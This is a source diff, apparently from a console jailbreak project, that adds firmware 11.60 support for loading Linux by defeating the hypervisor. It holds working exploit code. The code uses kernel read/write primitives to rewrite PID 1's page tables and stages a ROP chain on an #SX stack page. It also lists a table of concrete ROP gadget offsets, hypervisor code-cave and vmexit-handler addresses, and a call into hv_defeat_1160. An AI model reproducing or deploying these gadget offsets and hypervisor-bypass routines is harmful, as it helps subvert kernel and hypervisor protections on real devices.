+static int source_overwritten_1160(size_t i, uint64_t pa) {
+ if (i == 0)
+ return pa_in_wake_copy_1160(pa);
+ return pa + PAGE_SIZE > cave && pa < cave_bzImage + i * PAGE_SIZE;
+}
+
+struct alias_page_1160 {
+ uint64_t target_va;
+ const uint8_t *source;
+ uint64_t source_pa;
+};
+
+struct journal_entry_1160 {
+ uint64_t entry_va;
+ uint64_t old_value;
+};
+
+struct owned_table_1160 {
+ void *mapping;
+ uint64_t pa;
+};
+
+struct alias_tx_1160 {
+ uint64_t syscore_pml4;
+ uint64_t source_pml4;
+ struct journal_entry_1160 *journal;
+ size_t journal_count;
+ size_t journal_capacity;
+ struct owned_table_1160 *tables;
+ size_t table_count;
+ size_t table_capacity;
+};
+
+struct retained_staging_1160 {
+ void *bzimage;
+ size_t bzimage_mapping_size;
+ void *initrd;
+ size_t initrd_mapping_size;
+ void *info_page;
+ struct alias_tx_1160 tx;
+ int active;
+};
+
+/* One successful loader invocation owns these mappings until rest/wake. */
+static struct retained_staging_1160 retained_staging;
+
+static int add_size(size_t a, size_t b, size_t *out) {
+ if (a > SIZE_MAX - b)
+ return -1;
+ *out = a + b;
+ return 0;
+}
+
+static int read_kernel(uint64_t address, void *value, size_t size) {
+ memset(value, 0, size);
+ return kernel_copyout(address, value, size) == 0 ? 0 : -1;
+}
+
+static int write_kernel(uint64_t address, const void *value, size_t size) {
+ return kernel_copyin(value, address, size) == 0 ? 0 : -1;
+}
+
+static int read_entry(uint64_t entry_va, uint64_t *value) {
+ return read_kernel(entry_va, value, sizeof(*value));
+}
+
+static int is_kernel_pointer(uint64_t value) {
+ return value >= 0xFFFF800000000000ULL;
+}
+
+static int get_proc_pmap_checked(pid_t pid, flat_pmap *flat_out) {
+ uint64_t proc = kernel_get_proc(pid);
+ uint64_t vmspace = 0;
+ uint64_t pmap = 0;
+ flat_pmap flat;
+
+ memset(&flat, 0, sizeof(flat));
+ if (!is_kernel_pointer(proc) ||
+ read_entry(proc + KERNEL_OFFSET_PROC_P_VMSPACE, &vmspace) ||
+ !is_kernel_pointer(vmspace) ||
+ read_entry(vmspace + env_offset.VMSPACE_VM_PMAP, &pmap) ||
+ !is_kernel_pointer(pmap) || (pmap & 7) != 0 ||
+ read_kernel(pmap, &flat, sizeof(flat)) ||
+ !is_kernel_pointer(flat.pm_pml4) ||
+ (flat.pm_pml4 & (X86_PAGE_SIZE - 1)) != 0 || !flat.pm_cr3 ||
+ (flat.pm_cr3 & (X86_PAGE_SIZE - 1)) != 0 ||
+ PAGE_PA(flat.pm_cr3) != flat.pm_cr3 || flat.pm_pml4 <= flat.pm_cr3 ||
+ flat.pm_pml4 - flat.pm_cr3 != dmap)
+ return -1;
+
+ *flat_out = flat;
+ return 0;
+}
+
+static int translate_user_checked(uint64_t pml4, uint64_t va,
+ uint64_t *pa_out) {
+ uint64_t table_va = pml4;
+
+ for (int level = 0; level < 4; level++) {
+ int shift = 39 - level * 9;
+ uint64_t entry = 0;
+ uint64_t entry_va = table_va + ((va >> shift) & 0x1FF) * 8;
+
+ if (read_entry(entry_va, &entry) || !PAGE_P(entry))
+ return -1;
+ if ((level == 1 || level == 2) && PAGE_PS(entry)) {
+ uint64_t page_size = P_SIZE(level);
+ *pa_out = PAGE_PA(entry) | (va & (page_size - 1));
+ return 0;
+ }
+ if (level == 3) {
+ *pa_out = PAGE_PA(entry) | (va & (X86_PAGE_SIZE - 1));
+ return 0;
+ }
+ table_va = pa_to_dmap(PAGE_PA(entry));
+ }
+ return -1;
+}
+
+/* Validate all four hardware frames, including their bytes through DMAP. */
+static int source_page_pa(uint64_t source_pml4, const uint8_t *source,
+ uint64_t *base_pa) {
+ uint8_t physical[X86_PAGE_SIZE];
+ uint64_t first = 0;
+
+ if (((uintptr_t)source & (PAGE_SIZE - 1)) != 0)
+ return -1;
+ for (size_t sub = 0; sub < PAGE_SIZE; sub += X86_PAGE_SIZE) {
+ uint64_t pa = 0;
+ if (translate_user_checked(source_pml4, (uint64_t)(uintptr_t)source + sub,
+ &pa) ||
+ !pa || (pa & (X86_PAGE_SIZE - 1)))
+ return -1;
+ if (sub == 0)
+ first = pa;
+ else if (pa != first + sub)
+ return -1;
+ if (read_kernel(pa_to_dmap(pa), physical, sizeof(physical)) ||
+ memcmp(physical, source + sub, sizeof(physical)) != 0)
+ return -1;
+ }
+ *base_pa = first;
+ return 0;
+}
+
+/* A missing parent means every descendant is absent; large parents refuse. */
+static int lookup_pte(uint64_t pml4, uint64_t va, uint64_t *pte_va,
+ int *absent) {
+ uint64_t entry = 0;
+ uint64_t entry_va;
+
+ *absent = 0;
+ entry_va = pml4 + pmap_pml4e_index(va) * 8;
+ if (read_entry(entry_va, &entry))
+ return -1;
+ if (!PAGE_P(entry)) {
+ *absent = 1;
+ return 0;
+ }
+
+ entry_va = pa_to_dmap(PAGE_PA(entry)) + pmap_pdpe_index(va) * 8;
+ if (read_entry(entry_va, &entry))
+ return -1;
+ if (!PAGE_P(entry)) {
+ *absent = 1;
+ return 0;
+ }
+ if (PAGE_PS(entry))
+ return -1;
+
+ entry_va = pa_to_dmap(PAGE_PA(entry)) + pmap_pde_index(va) * 8;
+ if (read_entry(entry_va, &entry))
+ return -1;
+ if (!PAGE_P(entry)) {
+ *absent = 1;
+ return 0;
+ }
+ if (PAGE_PS(entry))
+ return -1;
+
+ *pte_va = pa_to_dmap(PAGE_PA(entry)) + pmap_pte_index(va) * 8;
+ return 0;
+}
+
+static int preflight_target_page(uint64_t pml4, uint64_t va) {
+ for (size_t sub = 0; sub < PAGE_SIZE; sub += X86_PAGE_SIZE) {
+ uint64_t pte_va = 0;
+ uint64_t pte = 0;
+ int absent = 0;
+
+ if (lookup_pte(pml4, va + sub, &pte_va, &absent))
+ return -1;
+ if (!absent && (read_entry(pte_va, &pte) || PAGE_P(pte)))
+ return -1;
+ }
+ return 0;
+}
+
+static int tx_init(struct alias_tx_1160 *tx, size_t alias_pages) {
+ flat_pmap syscore_flat;
+ flat_pmap source_flat;
+ size_t leaf_entries;
+
+ memset(tx, 0, sizeof(*tx));
+ if (get_proc_pmap_checked(MINI_SYSCORE_PID, &syscore_flat) ||
+ get_proc_pmap_checked(getpid(), &source_flat) ||
+ syscore_flat.pm_pml4 == source_flat.pm_pml4)
+ return -1;
+
+ tx->syscore_pml4 = syscore_flat.pm_pml4;
+ tx->source_pml4 = source_flat.pm_pml4;
+ if (alias_pages > SIZE_MAX / (PAGE_SIZE / X86_PAGE_SIZE))
+ return -1;
+ leaf_entries = alias_pages * (PAGE_SIZE / X86_PAGE_SIZE);
+ if (leaf_entries > SIZE_MAX - 1024)
+ return -1;
+ tx->journal_capacity = leaf_entries + 1024;
+ tx->journal = calloc(tx->journal_capacity, sizeof(*tx->journal));
+ if (!tx->journal)
+ return -1;
+
+ tx->table_capacity = alias_pages / 128 + 16;
+ tx->tables = calloc(tx->table_capacity, sizeof(*tx->tables));
+ if (!tx->tables) {
+ free(tx->journal);
+ memset(tx, 0, sizeof(*tx));
+ return -1;
+ }
+ return 0;
+}
+
+static int tx_write(struct alias_tx_1160 *tx, uint64_t entry_va,
+ uint64_t new_value) {
+ uint64_t old_value = 0;
+ uint64_t observed = 0;
+
+ if (tx->journal_count >= tx->journal_capacity ||
+ read_entry(entry_va, &old_value))
+ return -1;
+ tx->journal[tx->journal_count].entry_va = entry_va;
+ tx->journal[tx->journal_count].old_value = old_value;
+ tx->journal_count++;
+ if (write_kernel(entry_va, &new_value, sizeof(new_value)) ||
+ read_entry(entry_va, &observed) || observed != new_value)
+ return -1;
+ return 0;
+}
+
+static int tx_alloc_table(struct alias_tx_1160 *tx, uint64_t *pa_out) {
+ void *mapping = MAP_FAILED;
+ uint64_t pa = 0;
+ int attempt;
+
+ if (tx->table_count >= tx->table_capacity)
+ return -1;
+ /* A page in the copy range is left mapped so the next mmap differs. */
+ for (attempt = 0; attempt < TABLE_ATTEMPTS_1160; attempt++) {
+ mapping = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
+ MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+ if (mapping == MAP_FAILED)
+ return -1;
+ memset(mapping, 0, PAGE_SIZE);
+ if (source_page_pa(tx->source_pml4, mapping, &pa)) {
+ munmap(mapping, PAGE_SIZE);
+ return -1;
+ }
+ if (!pa_in_wake_copy_1160(pa) && !pa_under_sx_stack_1160(pa))
+ break;
+ }
+ /* This can come after alias writes, which the caller then rolls back. */
+ if (attempt == TABLE_ATTEMPTS_1160) {
+ notify("11.60 loader refused staging: alias table page 0x%llx is inside "
+ "the Linux copy range or under the #SX stack page.\n",
+ (unsigned long long)pa);
+ fflush(stdout);
+ return -1;
+ }
+ tx->tables[tx->table_count].mapping = mapping;
+ tx->tables[tx->table_count].pa = pa;
+ tx->table_count++;
+ *pa_out = pa;
+ return 0;
+}
+
+static int ensure_child_table(struct alias_tx_1160 *tx, uint64_t entry_va,
+ int reject_large, uint64_t *child_pa) {
+ uint64_t entry = 0;
+ uint64_t pa = 0;
+
+ if (read_entry(entry_va, &entry))
+ return -1;
+ if (PAGE_P(entry)) {
+ if (reject_large && PAGE_PS(entry))
+ return -1;
+ *child_pa = PAGE_PA(entry);
+ return 0;
+ }
+ if (tx_alloc_table(tx, &pa) || tx_write(tx, entry_va, pa | TABLE_FLAGS))
+ return -1;
+ *child_pa = pa;
+ return 0;
+}
+
+static int tx_install_page(struct alias_tx_1160 *tx,
+ const struct alias_page_1160 *page) {
+ uint64_t entry_va;
+ uint64_t child_pa;
+
+ entry_va = tx->syscore_pml4 + pmap_pml4e_index(page->target_va) * 8;
+ if (ensure_child_table(tx, entry_va, 0, &child_pa))
+ return -1;
+ entry_va = pa_to_dmap(child_pa) + pmap_pdpe_index(page->target_va) * 8;
+ if (ensure_child_table(tx, entry_va, 1, &child_pa))
+ return -1;
+ entry_va = pa_to_dmap(child_pa) + pmap_pde_index(page->target_va) * 8;
+ if (ensure_child_table(tx, entry_va, 1, &child_pa))
+ return -1;
+
+ entry_va = pa_to_dmap(child_pa) + pmap_pte_index(page->target_va) * 8;
+ for (size_t sub = 0; sub < PAGE_SIZE; sub += X86_PAGE_SIZE) {
+ uint64_t pte_va = entry_va + (sub / X86_PAGE_SIZE) * 8;
+ uint64_t old_pte = 0;
+ if (read_entry(pte_va, &old_pte) || PAGE_P(old_pte) ||
+ tx_write(tx, pte_va, page->source_pa + sub + TABLE_FLAGS))
+ return -1;
+ }
+ return 0;
+}
+
+static int translate_target(const struct alias_tx_1160 *tx, uint64_t va,
+ uint64_t *pa_out) {
+ uint64_t pte_va = 0;
+ uint64_t pte = 0;
+ int absent = 0;
+
+ if (lookup_pte(tx->syscore_pml4, va, &pte_va, &absent) || absent ||
+ read_entry(pte_va, &pte) || !PAGE_P(pte))
+ return -1;
+ *pa_out = PAGE_PA(pte) | (va & (X86_PAGE_SIZE - 1));
+ return 0;
+}
+
+static int verify_aliases(const struct alias_tx_1160 *tx,
+ const struct alias_page_1160 *pages,
+ size_t page_count) {
+ for (size_t i = 0; i < page_count; i++) {
+ for (size_t sub = 0; sub < PAGE_SIZE; sub += X86_PAGE_SIZE) {
+ uint64_t pa = 0;
+ if (translate_target(tx, pages[i].target_va + sub, &pa) ||
+ pa != pages[i].source_pa + sub)
+ return -1;
+ }
+ }
+ return 0;
+}
+
+static int tx_rollback(struct alias_tx_1160 *tx) {
+ int failed = 0;
+
+ for (size_t i = tx->journal_count; i > 0; i--) {
+ const struct journal_entry_1160 *entry = &tx->journal[i - 1];
+ if (write_kernel(entry->entry_va, &entry->old_value,
+ sizeof(entry->old_value)))
+ failed = 1;
+ }
+ for (size_t i = 0; i < tx->journal_count; i++) {
+ const struct journal_entry_1160 *entry = &tx->journal[i];
+ uint64_t observed = 0;
+ if (read_entry(entry->entry_va, &observed) || observed != entry->old_value)
+ failed = 1;
+ }
+ return failed ? -1 : 0;
+}
+
+static int verify_targets_absent(const struct alias_tx_1160 *tx,
+ const struct alias_page_1160 *pages,
+ size_t page_count) {
+ for (size_t i = 0; i < page_count; i++) {
+ for (size_t sub = 0; sub < PAGE_SIZE; sub += X86_PAGE_SIZE) {
+ uint64_t pte_va = 0;
+ uint64_t pte = 0;
+ int absent = 0;
+ if (lookup_pte(tx->syscore_pml4, pages[i].target_va + sub, &pte_va,
+ &absent))
+ return -1;
+ if (!absent && (read_entry(pte_va, &pte) || PAGE_P(pte)))
+ return -1;
+ }
+ }
+ return 0;
+}
+
+static void tx_release_backing(struct alias_tx_1160 *tx) {
+ for (size_t i = 0; i < tx->table_count; i++) {
+ munmap(tx->tables[i].mapping, PAGE_SIZE);
+ }
+ free(tx->tables);
+ free(tx->journal);
+ memset(tx, 0, sizeof(*tx));
+}
+
+[[noreturn]] static void hold_after_rollback_failure(void) {
+ notify("11.60 staging rollback failed; cold reboot required\n");
+ while (1)
+ sleep(30);
+}
+
+/* Page tables and the code cave stay where they are until a reboot, so a
+ * refusal for the copy range needs one. The #SX stack page is new on every
+ * run, so a refusal for the page under it does not. */
+static int refuse_in_wake_copy_1160(const char *what, uint64_t pa) {
+ if (pa_in_wake_copy_1160(pa)) {
+ refused_until_reboot_1160 = 1;
+ notify("11.60 loader refused staging: %s 0x%llx is inside the Linux copy "
+ "range. Reboot before trying again.\n",
+ what, (unsigned long long)pa);
+ fflush(stdout);
+ return 1;
+ }
+ if (pa_under_sx_stack_1160(pa)) {
+ notify("11.60 loader refused staging: %s 0x%llx is under the #SX stack "
+ "page.\n",
+ what, (unsigned long long)pa);
+ fflush(stdout);
+ return 1;
+ }
+ return 0;
+}
+
+/* The alias tables that exist already; ensure_child_table reuses them. */
+static int check_alias_tables_1160(uint64_t pml4, uint64_t va) {
+ uint64_t table_va = pml4;
+
+ for (int level = 0; level < 3; level++) {
+ uint64_t entry = 0;
+ int shift = 39 - level * 9;
+
+ if (read_entry(table_va + ((va >> shift) & 0x1FF) * 8, &entry))
+ return -1;
+ if (!PAGE_P(entry))
+ return 0;
+ if (PAGE_PS(entry) ||
+ refuse_in_wake_copy_1160("page table", PAGE_PA(entry)))
+ return -1;
+ table_va = pa_to_dmap(PAGE_PA(entry));
+ }
+ return 0;
+}
+
+/* Walks a mapped va, refusing any table on the way. Returns the physical
+ * address and the end of the mapping that holds it. */
+static int walk_wake_mapping_1160(uint64_t pml4, uint64_t va, uint64_t *pa_out,
+ uint64_t *next) {
+ uint64_t table_va = pml4;
+
+ for (int level = 0; level < 4; level++) {
+ uint64_t entry = 0;
+ int shift = 39 - level * 9;
+ uint64_t size = 1ULL << shift;
+
+ if (read_entry(table_va + ((va >> shift) & 0x1FF) * 8, &entry) ||
+ !PAGE_P(entry))
+ return -1;
+ if (level == 3 || ((level == 1 || level == 2) && PAGE_PS(entry))) {
+ *pa_out = (PAGE_PA(entry) & ~(size - 1)) | (va & (size - 1));
+ *next = (va & ~(size - 1)) + size;
+ return 0;
+ }
+ if (refuse_in_wake_copy_1160("page table", PAGE_PA(entry)))
+ return -1;
+ table_va = pa_to_dmap(PAGE_PA(entry));
+ }
+ return -1;
+}
+
+/*
+ * The ROP chain leaves rsp at sx_ist + 0x1040, so the wake blob runs on this
+ * page while it copies Linux, and past 0x1040 bytes its stack runs into the
+ * page under it. Both pages are taken from one batch of fresh pages before
+ * any write, as a physically adjacent pair, so the page under the stack page
+ * is ours and nothing allocated later can land there. Neither page may be in
+ * the copy range, and the DMAP tables that map them are walked like the
+ * copy's. The alias tables (tx_alloc_table), the tables and code cave the
+ * blob uses (refuse_in_wake_copy_1160) and the wake arguments
+ * (prepare_sck_args) are still checked against it.
+ */
+static int find_sx_stack_pair_1160(const uint64_t *pas, size_t count,
+ uint64_t *stack_pa) {
+ for (size_t i = 0; i < count; i++) {
+ for (size_t j = 0; j < count; j++) {
+ if (pas[j] == pas[i] + PAGE_SIZE && !pa_in_wake_copy_1160(pas[i]) &&
+ !pa_in_wake_copy_1160(pas[j])) {
+ *stack_pa = pas[j];
+ return 0;
+ }
+ }
+ }
+ return -1;
+}
+
+static int take_sx_stack_page_1160(const struct alias_tx_1160 *tx,
+ const struct alias_page_1160 *pages,
+ size_t page_count) {
+ uint8_t *batch;
+ uint64_t pas[SX_STACK_BATCH_1160];
+ uint64_t pa = 0;
+ uint64_t walked = 0;
+ uint64_t next = 0;
+ int round;
+
+ /* Batches without a usable pair stay mapped so the next one differs. The
+ * chosen batch stays mapped too; hv_defeat_1160 builds the ROP chain in the
+ * stack page. */
+ for (round = 0; round < SX_STACK_ROUNDS_1160; round++) {
+ batch = mmap(NULL, SX_STACK_BATCH_1160 * PAGE_SIZE,
+ PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+ if (batch == MAP_FAILED)
+ return -1;
+ memset(batch, 0, SX_STACK_BATCH_1160 * PAGE_SIZE);
+ for (size_t i = 0; i < SX_STACK_BATCH_1160; i++) {
+ if (source_page_pa(tx->source_pml4, batch + i * PAGE_SIZE, &pas[i]) ||
+ pas[i] < PAGE_SIZE) {
+ munmap(batch, SX_STACK_BATCH_1160 * PAGE_SIZE);
+ return -1;
+ }
+ }
+ if (!find_sx_stack_pair_1160(pas, SX_STACK_BATCH_1160, &pa))
+ break;
+ }
+ if (round == SX_STACK_ROUNDS_1160) {
+ notify("11.60 loader refused staging: no free #SX stack page with the "
+ "page under it. Run the loader again.\n");
+ fflush(stdout);
+ return -1;
+ }
+ sx_stack_pa_1160 = pa;
+ for (size_t i = 0; i < page_count; i++) {
+ if (pa_under_sx_stack_1160(pages[i].source_pa)) {
+ notify("11.60 loader refused staging: boot file page %zu at 0x%llx is "
+ "under the #SX stack page.\n",
+ i, (unsigned long long)pages[i].source_pa);
+ fflush(stdout);
+ return -1;
+ }
+ }
+ if (walk_wake_mapping_1160(tx->syscore_pml4, pa_to_dmap(pa), &walked,
+ &next) ||
+ walked != pa ||
+ walk_wake_mapping_1160(tx->syscore_pml4, pa_to_dmap(pa - PAGE_SIZE),
+ &walked, &next) ||
+ walked != pa - PAGE_SIZE)
+ return -1;
+ return 0;
+}
+
+/*
+ * The wake blob runs on PID 1's page tables from the kernel code cave, reads
+ * the boot files through the aliases and writes the copy through DMAP. New
+ * alias tables are checked in tx_alloc_table and the #SX stack in
+ * take_sx_stack_page_1160; this checks PID 1's PML4, the alias tables already
+ * present, the DMAP tables for the copy and the code cave with the tables that
+ * map it.
+ */
+static int preflight_wake_copy_1160(const struct alias_tx_1160 *tx,
+ const struct alias_page_1160 *pages,
+ size_t page_count) {
+ uint64_t cave_va = ktext + env_offset.KERNEL_CODE_CAVE;
+ uint64_t pa = 0;
+ uint64_t next = 0;
+
+ if (refuse_in_wake_copy_1160("page table", tx->syscore_pml4 - dmap))
+ return -1;
+ for (size_t i = 0; i < page_count; i++)
+ if (check_alias_tables_1160(tx->syscore_pml4, pages[i].target_va))
+ return -1;
+ for (uint64_t va = dmap + cave; va < dmap + wake_copy_end_1160; va = next)
+ if (walk_wake_mapping_1160(tx->syscore_pml4, va, &pa, &next))
+ return -1;
+ for (uint64_t va = cave_va; va < cave_va + WAKE_CAVE_SIZE_1160;
+ va += X86_PAGE_SIZE)
+ if (walk_wake_mapping_1160(tx->syscore_pml4, va, &pa, &next) ||
+ refuse_in_wake_copy_1160("wake code page", pa & ~(X86_PAGE_SIZE - 1)))
+ return -1;
+ return 0;
+}
+
+static int build_alias_plan(const struct linux_info *info, void *bzimage,
+ size_t bzimage_mapping_size, void *initrd,
+ size_t initrd_mapping_size,
+ struct alias_tx_1160 *tx,
+ struct alias_page_1160 **pages_out,
+ size_t *page_count_out, void **info_page_out) {
+ size_t bz_pages = bzimage_mapping_size / PAGE_SIZE;
+ size_t initrd_pages = initrd_mapping_size / PAGE_SIZE;
+ size_t page_count;
+ struct alias_page_1160 *pages = NULL;
+ void *info_page = MAP_FAILED;
+ size_t at = 0;
+ size_t overwritten = 0;
+ size_t first_overwritten = 0;
+
+ if (add_size(1, bz_pages, &page_count) ||
+ add_size(page_count, initrd_pages, &page_count) ||
+ page_count > SIZE_MAX / sizeof(*pages))
+ return -1;
+ pages = calloc(page_count, sizeof(*pages));
+ if (!pages)
+ return -1;
+
+ info_page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
+ MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+ if (info_page == MAP_FAILED) {
+ free(pages);
+ return -1;
+ }
+ memset(info_page, 0, PAGE_SIZE);
+ memcpy(info_page, info, sizeof(*info));
+
+ pages[at].target_va = info->linux_info;
+ pages[at++].source = info_page;
+ for (size_t offset = 0; offset < bzimage_mapping_size; offset += PAGE_SIZE) {
+ pages[at].target_va = info->bzimage + offset;
+ pages[at++].source = (const uint8_t *)bzimage + offset;
+ }
+ for (size_t offset = 0; offset < initrd_mapping_size; offset += PAGE_SIZE) {
+ pages[at].target_va = info->initrd + offset;
+ pages[at++].source = (const uint8_t *)initrd + offset;
+ }
+
+ for (size_t i = 0; i < page_count; i++) {
+ if (source_page_pa(tx->source_pml4, pages[i].source, &pages[i].source_pa)) {
+ munmap(info_page, PAGE_SIZE);
+ free(pages);
+ return -1;
+ }
+ if (source_overwritten_1160(i, pages[i].source_pa) && overwritten++ == 0)
+ first_overwritten = i;
+ }
+ /* These pages come from this run's mmap, so another run may get others. */
+ if (overwritten != 0) {
+ notify("11.60 loader refused staging: %zu source pages would be "
+ "overwritten by the Linux copy, first page %zu at 0x%llx. Run the "
+ "loader again.\n",
+ overwritten, first_overwritten,
+ (unsigned long long)pages[first_overwritten].source_pa);
+ fflush(stdout);
+ munmap(info_page, PAGE_SIZE);
+ free(pages);
+ return -1;
+ }
+
+ *pages_out = pages;
+ *page_count_out = page_count;
+ *info_page_out = info_page;
+ return 0;
+}
+
+int stage_linux_aliases_1160(const struct linux_info *info, void *bzimage,
+ size_t bzimage_mapping_size, void *initrd,
+ size_t initrd_mapping_size) {
+ struct alias_tx_1160 tx;
+ struct alias_page_1160 *pages = NULL;
+ size_t page_count = 0;
+ size_t combined_mapping = 0;
+ void *info_page = MAP_FAILED;
+ int writes_started = 0;
+ int result = -1;
+
+ memset(&tx, 0, sizeof(tx));
+ /* The wake blob copies bzimage_size and initrd_size bytes, so they have to
+ * fit the mappings checked here. */
+ if (!info || !bzimage || !initrd || retained_staging.active ||
+ !bzimage_mapping_size || !initrd_mapping_size ||
+ (bzimage_mapping_size & (PAGE_SIZE - 1)) ||
+ (initrd_mapping_size & (PAGE_SIZE - 1)) ||
+ ALIGN_UP(info->bzimage_size, PAGE_SIZE) != bzimage_mapping_size ||
+ ALIGN_UP(info->initrd_size, PAGE_SIZE) != initrd_mapping_size ||
+ add_size(bzimage_mapping_size, initrd_mapping_size, &combined_mapping) ||
+ info->linux_info != kernel_cave_linux_info ||
+ info->bzimage != kernel_cave_bzImage ||
+ info->initrd != info->bzimage + bzimage_mapping_size) {
+ return -1;
+ }
+ if (combined_mapping > MAX_COMBINED_MAPPING) {
+ size_t mib = (combined_mapping >> 20) + ((combined_mapping & 0xFFFFF) != 0);
+ notify("11.60 loader refused staging: bzImage and initrd.img need %zu MiB "
+ "together, the limit is 160 MiB.\n",
+ mib);
+ return -1;
+ }
+
+ wake_copy_end_1160 = cave_bzImage + combined_mapping;
+ if (tx_init(&tx, 1 + combined_mapping / PAGE_SIZE)) {
+ goto out;
+ }
+ if (build_alias_plan(info, bzimage, bzimage_mapping_size, initrd,
+ initrd_mapping_size, &tx, &pages, &page_count,
+ &info_page)) {
+ goto out;
+ }
+
+ for (size_t i = 0; i < page_count; i++) {
+ if (preflight_target_page(tx.syscore_pml4, pages[i].target_va)) {
+ printf("11.60 alias staging: REFUSED target page %zu at 0x%llx before "
+ "mutation\n",
+ i, (unsigned long long)pages[i].target_va);
+ fflush(stdout);
+ goto out;
+ }
+ }
+ /* The #SX stack page comes first so that the checks after it, and the
+ * alias tables allocated during the install, keep the page under it free. */
+ if (take_sx_stack_page_1160(&tx, pages, page_count) ||
+ preflight_wake_copy_1160(&tx, pages, page_count)) {
+ if (refused_until_reboot_1160)
+ result = STAGING_REBOOT_FIRST_1160;
+ goto out;
+ }
+
+ for (size_t i = 0; i < page_count; i++) {
+ writes_started = 1;
+ if (tx_install_page(&tx, &pages[i])) {
+ printf("11.60 alias staging: install failed at page %zu target "
+ "0x%llx\n",
+ i, (unsigned long long)pages[i].target_va);
+ fflush(stdout);
+ goto rollback;
+ }
+ }
+
+ if (verify_aliases(&tx, pages, page_count)) {
+ goto rollback;
+ }
+
+ retained_staging.bzimage = bzimage;
+ retained_staging.bzimage_mapping_size = bzimage_mapping_size;
+ retained_staging.initrd = initrd;
+ retained_staging.initrd_mapping_size = initrd_mapping_size;
+ retained_staging.info_page = info_page;
+ retained_staging.tx = tx;
+ retained_staging.active = 1;
+ result = 0;
+ goto done;
+
+rollback:
+ if (tx_rollback(&tx) || verify_targets_absent(&tx, pages, page_count))
+ hold_after_rollback_failure();
+ writes_started = 0;
+
+out:
+ if (info_page != MAP_FAILED) {
+ munmap(info_page, PAGE_SIZE);
+ }
+ if (writes_started && tx.journal_count != 0) {
+ /* All mutation failures must pass through the rollback label. */
+ hold_after_rollback_failure();
+ }
+ tx_release_backing(&tx);
+
+done:
+ free(pages);
+ return result;
+}
diff --git a/source/main.c b/source/main.c
index 268a3c0..ab8d5de 100644
--- a/source/main.c
+++ b/source/main.c
@@ -1,12 +1,24 @@
#include "hv_defeat_0304.h"
#include "hv_defeat_0506.h"
#include "hv_defeat_0607.h"
+#include "hv_defeat_1160.h"
#include "hv_defeat_13xx.h"
#include "loader.h"
#include "prepare_resume.h"
#include "utils.h"
#include <unistd.h>
+// 11.60 keeps page tables from this process linked into PID 1 once the Linux
+// files are staged, so it must not exit after that.
+static int fail_after_staging(void) {
+ if (fw == 0x1160) {
+ notify("Linux files are still staged. Cold reboot before trying again.\n");
+ while (1)
+ sleep(30);
+ }
+ return -1;
+}
+
int main(void) {
if (setup_env()) {
notify("Something went wrong while initiating.\nPlease make sure your fw "
@@ -23,7 +35,7 @@ int main(void) {
size_t shellcode_kernel_len;
if (prepare_resume(&shellcode_kernel, &shellcode_kernel_len)) {
notify("Something went wrong while preparing resume.\n");
- return -1;
+ return fail_after_staging();
}
if ((0x0300 <= fw) && (fw < 0x0500)) {
@@ -38,6 +50,9 @@ int main(void) {
} else if (fw == 0x1300 || fw == 0x1320 || fw == 0x1360) {
if (hv_defeat_13xx(shellcode_kernel, shellcode_kernel_len))
goto err;
+ } else if (fw == 0x1160) {
+ if (hv_defeat_1160(shellcode_kernel, shellcode_kernel_len))
+ goto err;
} else {
goto err;
}
@@ -58,5 +73,5 @@ int main(void) {
err:
notify("Something went wrong while defeating Hypervisor.\nPlease make sure "
"your fw is supported.");
- return -1;
+ return fail_after_staging();
}
diff --git a/source/offsets.c b/source/offsets.c
index e4ae8cd..222457b 100644
--- a/source/offsets.c
+++ b/source/offsets.c
@@ -766,6 +766,51 @@ offset_list off_0761 = {
.PS5_WIFI_FW_SIZE = 497636,
};
+offset_list off_1160 = {
+ .VMSPACE_VM_VMID = 0x1E4,
+ .VMSPACE_VM_PMAP = 0x1D8,
+ .ACPIGBL_FACS = 0x39CD1F0,
+ .IDT = 0x3BA0300,
+ .COMMON_TSS = 0x3BA2FE0,
+ .FUN_MEMCPY = 0x2E7E40,
+ .GAD_ADD_RSP_28_POP_RBP_RET = 0xA57354,
+ .GAD_IRETQ = 0x2AC22D,
+ .GAD_POP_RAX_RET = 0x338D2A,
+ .GAD_POP_RDI_RET = 0x289E0A,
+ .GAD_POP_RSI_RET = 0x8AAFB5,
+ .GAD_POP_RDX_RET = 0x3476DB,
+ .GAD_POP_RCX_RET = 0x339712,
+ .GAD_POP_RSP_RET = 0x33974D,
+ .HOOK_ACPI_WAKEUP_MACHDEP = 0x42FB40,
+ // Five pages of NOP padding at the end of ktext.
+ .KERNEL_CODE_CAVE = 0xD2B000,
+ .FUN_PRINTF = 0x535A50,
+ .FUN_SMP_RENDEZVOUS = 0xB739D0,
+ .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x316318,
+ .HV_CODE_CAVE_PA = 0x62806F00,
+ .HV_HANDLE_VMEXIT_PA = 0x62847551,
+ // .KERNEL_UART_OVERRIDE not available
+ .KERNEL_CFI_CHECK = 0x4EBEB0,
+ .G_VBIOS = 0x3DB7A40,
+ .FUN_TRANSMITTER_CONTROL = 0xC800C0,
+ .FUN_MP3_INITIALIZE = 0xA88270,
+ .FUN_MP3_INVOKE = 0xA86E70,
+ .PS5_WIFI_FW_OFFSET = 0x1585D90,
+ .PS5_WIFI_FW_SIZE = 0x799BC,
+ .HV_MP_STARTUP_CALL = 0xC885D0,
+ .MP_STARTUP_INIT_VECTOR = 0x3110B8,
+ .DATA_CAVE = 0x2D02000,
+ .GAD_PIVOT_ADD_RSP28_RET = 0x2A0EDE,
+ .GAD_STORE_RDI8_RCX_RET = 0x3CC4AF,
+ .GAD_SET_DR7_RET = 0xA7BD86,
+ .GAD_STORE_RCX_RAX_RET = 0x3620BF,
+ .GAD_MOV_RAX_RDI_RET = 0xC5E5DA,
+ .GAD_REP_MOVSB_RET = 0x304367,
+ .GAD_CLD_RET = 0x462C1A,
+ .GAD_RET_TRAMP = 0x338D2B,
+ .GAD_DBREG_RESUME = 0x2A5778,
+};
+
offset_list off_1300 = {
.IOMMU_SOFTC = 0x3532CF0,
.VMSPACE_VM_VMID = 0x1EC,
diff --git a/source/prepare_resume.c b/source/prepare_resume.c
index 2000547..9b1e1dd 100644
--- a/source/prepare_resume.c
+++ b/source/prepare_resume.c
@@ -1,13 +1,16 @@
#include "prepare_resume.h"
#include "../shellcode_kernel/shellcode_kernel.h"
#include "../shellcode_kernel/shellcode_kernel_args.h"
